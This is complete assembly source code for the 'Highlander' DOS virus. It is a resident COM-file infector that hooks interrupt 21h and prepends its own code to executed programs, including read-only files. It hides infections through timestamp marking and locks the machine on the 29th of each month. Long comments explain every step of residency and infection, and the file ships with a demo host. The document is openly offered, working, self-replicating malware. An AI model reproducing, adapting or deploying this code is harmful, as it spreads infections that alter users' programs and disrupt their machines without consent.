;HIGHLAND.COM ;This is the HIGHLANDER Virus version 1.0. ;This virus is a generic, parasitic, resident COM infector. It will not ;infect command.com however. It is not destructive but can be irritating. ;Interrupt 21 is hooked. ;This virus is to be assembled under TASM 2.0 with the /m2 switch. ;When an infected file is executed, the virus code is executed first. ;The virus first checks to see if the virus is already resident. It does ;this by setting the AH register to 0DEh. This subfunction is currently ;unsupported by DOS. Interrupt 21 is then called. If after the call, AH is ;unchanged, the virus is not resident. If AH no longer contains 0DEh, the ;virus is assumed to be resident (If the virus is resident, AH will actually ;be changed to 0EDh. This is never checked for, only a change from 0DEh ;is checked for). If the virus is already resident, the executing viral ;code will restore the host in memory to original condition and allow it ;to execute normally. If however, the virus is not resident, Interrupt 21 ;will then be trapped by the virus. Once this is accomplished, the virus ;will free all available memory that it does not need (COM programs are ;allocated all available memory when they are executed even though they can ;only occupy one segment). The viral code will then copy the original ;environment and determine the path and filename of the host program in ;memory. The viral code will then shell out and re-execute the host ;program. The virus is nearly resident now. When the virus shells out ;and re-executes the host, a non-supported value is passed in the AL ;register. This is interpreted by the virus to mean that the infection ;is in transition and that when the host is re-executed, to assume that the ;virus is already resident. This value is then changed to the proper value ;so that the shell process will execute normally (INT 21 is already trapped ;at this point). This shell process is invisible, since the viral code ;so successfully copies the original environment. Once the host has ;finished executing, control is then returned back to the original host ;(the viral code). The virus then completes execution by going resident ;using interrupt 027h. In all appearances, the host program has just ;completed normal execution and has terminated. In actuality, the virus ;is now fully resident. ;When the virus is resident, interrupt 021h is trapped and monitored. ;When a program is executed, the resident virus gets control (DOS executes ;programs by shelling from DOS using interrupt 021h, subfunction 04bh). ;When the virus sees that a program is being executed, a series of checks ;are performed. The first thing checked for is whether or not the program ;to be executed has 'D' as the seventh letter in the filename. If it does ;the program is not infected and is allowed to execute normally (this is ;how the virus keeps from infecting COMMAND.COM. No COM file with a 'D' ;as the seventh letter will be infected). If there is no 'D' as the seventh ;letter, the virus then checks to see if the program to be executed is a ;COM file or not. If it is not a COM file, it is not infected and allowed ;to execute normally. If the COM file test is passed, the file size is then ;checked. Files are only infected if they are larger than 1024 bytes and ;smaller than 62000 bytes. If the file size is within bounds, the file ;is checked to see if it is already infected. Files are only infected ;a single time. The virus determines infection by checking the date/time ;stamp of the file. If the seconds portion of the stamp is equal to 40, ;the file is assumed to be infected. If the file is infected, the virus ;then checks the date. If it is the 29th day of any month, the virus will ;then display its irritating qualities by displaying the message ;'Highlander 1 RULES!' 21 times and then locking the machine and forcing ;a reboot. If the file is not infected, infection will proceed. The ;virus stores the original attributes and then changes the attributes to ;normal, read/write. The file length is also stored. The file is then ;opened and the first part of the file is read and stored in memory (the ;exact number of bytes is the same length as the virus). The virus then ;proceeds to overwrite the first part of the file with its own code. The ;file pointer is then adjusted to the end of the file and a short ;restoration routine is copied. The original first part of the file is ;then copied to the end of the file after the restore routine. The files ;time/date stamp is then adjusted to show an infection (the seconds portion ;of the time is set to 40. This will normally never be noticed since ;directory listings never show the seconds portion). The file is then ;closed and the original attributes are restored. Control is then passed ;to the original INT 021h routine and the now infected program is allowed ;to execute normally. ;This virus will infect read-only files. ;COMMAND.COM will not be infected. ;It is not destructive but can be highly irritating. .model tiny .code IDEAL begin: jmp checkinfect ;jump over data to virus code data1: dw offset endcode+0100h ;address of restore routine typekill: db 01ah ;kills the DOS 'type' command version: db 'v05' ;virus version number data2: dw 0,080h,0,05ch,0,06ch,0 ;environment string for shell process data3: db 'COM' ;COM file check data4: db 0,0,1,0 ;data preceeding filename in environment data5: db 'Highlander 1 RULES! $' ;irritating message restcode: ;restoration routine to restore host rep movsb ;move host code back to original loc push cs ;setup to transfer control to 0100h mov ax,0100h push ax mov ax,cx ;zero ax ret ;transfer control to 0100h and allow host ;to execute normally checkinfect: ;check to see if virus already resident mov ax,0de00h ;unsupported subfunction int 21h cmp ah,0deh ;is it unchanged? je continfect ;yes, continue going resident ;no, already resident, restore host restorehost: ;setup for restore routine mov di,0100h ;destination of bytes to be moved mov si,[word data1+0100h] ;address of restore routine ;(original host) push cs ;setup for xfer to restore routine push si add si,checkinfect-restcode ;source of bytes to be moved mov cx,endcode-begin ;number of bytes to move ret ;xfer to restore routine continfect: ;continue infection mov ax,3521h ;set ax to get INT 21 vector address int 21h ;get INT 21 vector mov [WORD int21trap+1+0100h],bx ;store address in viral code mov [WORD int21trap+3+0100h],es ;store segment in viral code mov dx,offset start+0100h ;set dx to start of viral code mov ax,2521h ;set ax to change INT 21 vector int 21h ;change INT 21 to point to virus mov [word data2+0100h+4],ds ;copy current segment to env string mov [word data2+0100h+8],ds ;for shell process mov [word data2+0100h+12],ds push ds ;restore es to current segment pop es mov bx,offset endcode+0100h ;set bx to end of viral code mov cl,04 ;divide by 16 shr bx,cl inc bx ;INC by 1 just in case. bx is number of ;paragraphs of memory to reserve mov ah,04ah ;set ah to release memory int 21h ;release all excess memory mov ds,[word 02ch] ;get segment of environment copy xor si,si ;zero si cld ;clear direction flag tryagain: mov di,offset data4+0100h ;point to data preceeding filename mov cx,4 ;data is 4 bytes long repe cmpsb ;check for match jne tryagain ;if no match, try again mov dx,si ;filename found. set dx to point mov bx,offset data2+0100h ;set bx to point to environment string mov ax,04bffh ;set ax to shell and execute. AL contains ;an invalid value which will be interpreted ;by the virus (int 21 is now trapped by it) ;and changed to 00. cld ;clear direction flag int 21h ;shell and re-execute the host program mov dx,(endcode-begin)*2+0110h ;set dx to end of virus *2 plus 10. This ;will point to the end of the resident ;portion of the virus int 27h ;terminate and stay resident start: ;start of virus. The trapped INT 21 points ;to this location. pushf ;store the flags cmp ah,0deh ;is calling program checking for infection? jne check4run ;no, continue on checking for execution mov ah,0edh ;yes, change ah to 0edh jmp cont ;jump over rest of viral code check4run: cmp ah,04bh ;check for program attempting to execute je nextcheck ;yes, continue checks jmp cont ;no, jump over rest of virus nextcheck: cmp al,0ffh ;check if virus is shelling. 0ffh will ;normally never be used and is used by ;the virus to shell the host before it is ;fully resident. This prevents the virus ;from shelling twice, which will work but ;lose the environment and cause problems. jne workvirus ;normal DOS shell. Jump to virus meat. xor al,al ;virus is shelling. zero al. jmp cont ;jump over rest of virus workvirus: push ax ;store all registers subject to change push bx push cx push es push si push di push dx push ds push cs ;store the code segment so it can be used push cs ;to set the ds and es registers pop ds ;set ds to same as cs pop es ;set es to same as cs mov dx,080h ;set dx to offset 080h mov ah,01ah ;set ah to create DTA int 21h ;create DTA at 080h (normal DTA area) pop ds ;set ds to original ds pop dx ;set dx to original dx (ds:dx is used to ;point to the path and filename of the ;program to be executed) push dx ;store these values back push ds xor cx,cx ;zero cx mov ah,04eh ;set ah to search for filename match int 21h ;search for filename (this is primarily ;done to setup data in the DTA so that it ;can be checked easier than making a ;number of individual calls) push es ;store es (same as cs) pop ds ;set ds to same as es and cs cmp [byte 087h],'D' ;check for 'D' as seventh letter in file jne j5 jmp endvirus ;if 'D' is 7th letter, dont infect j5: mov si,offset data3+0100h ;set source of bytes to compare mov di,089h ;set destination of bytes to compare mov cx,3 ;number of bytes to compare cld ;compare forward repe cmpsb ;compare bytes (check to see if file's ;extension is COM) je j1 jmp endvirus ;not a COM file. Dont infect j1: mov bx,[word 009ah] ;set bx to length of file cmp bx,1024 ;is length > 1024? jae j2 ;yes, continue with checks jmp endvirus ;no, dont infect j2: cmp bx,62000 ;is length < 62000? jbe j3 ;yes, continue with checks jmp endvirus ;no, dont infect j3: mov ax,[word 096h] ;set ax to file's time stamp and ax,0000000000011111b ;clear everything but seconds cmp ax,0000000000010100b ;is seconds = 40? jne j4 ;yes, continue with infection mov ah,02ah ;no, set ah to get the date int 21h ;get current system date mov cx,21 ;set cx to 21 cmp dl,29 ;is the date the 29th? je irritate ;yes, continue with irritate jmp endvirus ;no, let program execute normally irritate: mov dx,offset data5+0100h ;point dx to irritating message mov ah,09h ;set ah to write to screen int 21h ;write message 21 times loop irritate iret ;xfer program control to whatever's on ;the stack (this almost guarantee's a ;lockup and a reboot) j4: mov ax,[word 096h] ;set ax equal to the file's time stamp and ax,1111111111100000b ;zero the seconds portion or ax,0000000000010100b ;set the seconds = 40 add bx,0100h ;set bx = loc for restore routine (end ;of file once its in memory) mov [word data1+0100h],bx ;store this value in the virus mov bx,ax ;set bx = to adjusted time stamp pop ds ;get the original ds push ds ;store this value back mov ax,04300h ;set ax to get the file's attributes ;ds:dx already points to path/filename int 21h ;get the files attributes push cx ;push the attributes push bx ;push the adjusted time stamp xor cx,cx ;zero cx(attributes for normal, read/write) mov ax,04301h ;set ax to set file attributes int 21h ;set files attributes to normal/read/write mov ax,03d02h ;set ax to open file int 21h ;open file for read/write access mov bx,ax ;mov file handle to bx push cs ;push current code segment pop ds ;and pop into ds (ds=cs) mov cx,endcode-begin ;set cx equal to length of virus mov dx,offset endcode+0100h ;point dx to end of virus in memory mov ah,03fh ;set ah to read from file int 21h ;read bytes from beginning of file and ;store at end of virus. Read as many bytes ;as virus is long. xor cx,cx ;zero cx xor dx,dx ;zero dx mov ax,04200h ;set ax to move file pointer from begin int 21h ;mov file pointer to start of file mov cx,endcode-begin ;set cx = length of virus mov dx,0100h ;point dx to start of virus mov ah,040h ;set ah to write to file int 21h ;write virus to start of file xor cx,cx ;zero cx xor dx,dx ;zero dx mov ax,04202h ;set ax to move file pointer from end int 21h ;mov file pointer to end of file mov cx,checkinfect-restcode ;set cx to length of restore routine mov dx,offset restcode+0100h ;point dx to start of restore routine mov ah,040h ;set ah to write to file int 21h ;write restore routine to end of file mov cx,endcode-begin ;set cx to length of virus (length of code ;read from beginning of file) mov dx,offset endcode+0100h ;point dx to data read from file mov ah,040h ;set ah to write to file int 21h ;write data read from start of file to end ;of file following restore routine pop cx ;pop the adjusted time stamp mov dx,[word 098h] ;mov the file date stamp into dx mov ax,05701h ;set ax to write time/date stamp int 21h ;write time/date stamp to file mov ah,03eh ;set ah to close file int 21h ;close the file pop cx ;pop the original attributes pop ds ;pop the original ds pop dx ;pop the original dx push dx ;push these values back push ds mov ax,04301h ;set ax to set file attributes (ds:dx now ;points to original path/filename) int 21h ;set the original attributes back to file endvirus: ;virus execution complete. restore original ;values for INT 21 function pop ds pop dx pop di pop si pop es pop cx pop bx pop ax cont: ;virus complete. restore original flags popf pushf int21trap: ;this calls the original INT 21 routine db 09ah ;opcode for a far call nop ;blank area. the original INT 21 vector nop ;is copied to this area nop nop push ax ;after the original INT 21 routine has ;completed execution, control is returned ;to this point push bx pushf ;push the flags returned from the INT 21 ;routine. We have to get them in the ;proper location in the stack when we ;return to the calling program pop ax ;pop the flags mov bx,sp ;set bx equal to the stack pointer mov [word ss:bx+8],ax ;copy the flags to the proper location in ;the stack pop bx ;restore bx pop ax ;restore ax iret ;return to calling program signature: db 'dex' endcode: ;this file has been written as if it were ;a natural infection. At this point the ;virus is ended and we are at the restore ;routine. Following this is the host code ;which will be moved back to 0100h. This ;file could never actually be a natural ;infection however due to its small size rep movsb ;start of restore routine. move host back push cs ;set up to xfer to cs:0100h mov ax,0100h push ax mov ax,cx ;zero ax ret ;host is restored. xfer to start of host hoststart: ;This is the host program. It consists ;merely of a simple message being displayed jmp skipdata ;jump over message hostmessage: db 'The virus is now resident.$' skipdata: mov ah,09h ;set ah to write to screen mov dx,offset hostmessage+0100h ;point dx to message to display int 21h ;display message mov ah,04ch ;set ah to terminate program int 21h ;terminate program, return to DOS END